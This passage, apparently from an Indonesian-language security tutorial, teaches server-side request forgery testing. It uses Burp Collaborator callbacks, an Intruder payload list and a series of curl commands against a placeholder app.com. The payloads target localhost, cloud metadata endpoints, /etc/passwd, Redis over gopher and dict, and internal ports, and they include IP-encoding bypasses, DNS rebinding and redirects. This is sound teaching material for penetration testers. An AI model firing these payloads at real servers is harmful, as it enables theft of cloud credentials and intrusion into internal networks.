# === Menggunakan Burp Collaborator untuk Blind SSRF === # 1. Generate Collaborator URL # Burp Suite → Collaborator client → Copy to clipboard # URL: xyz123.burpcollaborator.net # 2. Inject Collaborator URL ke semua input yang relevans # Contoh payload: http://xyz123.burpcollaborator.net/ # 3. Monitor Collaborator interactions # Setiap request yang diterima menunjukkan: # - Server melakukan request ke Collaborator # - IP address server # - Timestamp # - Request headers # 4. Eksploitasi lanjutan # - Gunakan HTTP callback (bukan DNS) untuk melihat lebih detail # - Periksa User-Agent untuk fingerprint server # - Gunakan path unik untuk identifikasi permintaan spesifik # === Automated SSRF Testing dengan Intruder === # 1. Intercept request dengan parameter URL # 2. Kirim ke Intruder # 3. Set payload type: Simple list # 4. Payloads: http://127.0.0.1 http://localhost http://[::1] http://169.254.169.254 gopher://127.0.0.1:6379/ file:///etc/passwd dict://127.0.0.1:6379/ http://metadata.google.internal/ http://169.254.169.254/metadata/instance # 5. Analyze responses untuk menemukan SSRF
9.3 curl Testing Manual
# === Manual SSRF Testing dengan curl ===
# 1. Basic SSRF test
curl -v "https://app.com/fetch?url=http://127.0.0.1/"
# 2. File read test
curl -v "https://app.com/fetch?url=file:///etc/passwd"
# 3. Metadata test (AWS)
curl -v "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# 4. Port scan test
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo "--- Port $port ---"
curl -s -o /dev/null -w "HTTP %{http_code} Time: %{time_total}s\n" \
"https://app.com/fetch?url=http://127.0.0.1:$port/" \
--max-time 5
done
# 5. Protocol handler tests
curl -v "https://app.com/fetch?url=gopher://127.0.0.1:6379/_INFO"
curl -v "https://app.com/fetch?url=dict://127.0.0.1:6379/info"
# 6. IP bypass tests
curl -v "https://app.com/fetch?url=http://0x7f000001/"
curl -v "https://app.com/fetch?url=http://2130706433/"
curl -v "https://app.com/fetch?url=http://0177.0.0.1/"
# 7. DNS rebinding test
curl -v "https://app.com/fetch?url=http://rbndr.us/169.254.169.254"
# 8. Redirect test
curl -v "https://app.com/fetch?url=https://bit.ly/example-redirect"
10. Quiz Pemahaman
Uji pemahaman Anda tentang SSRF: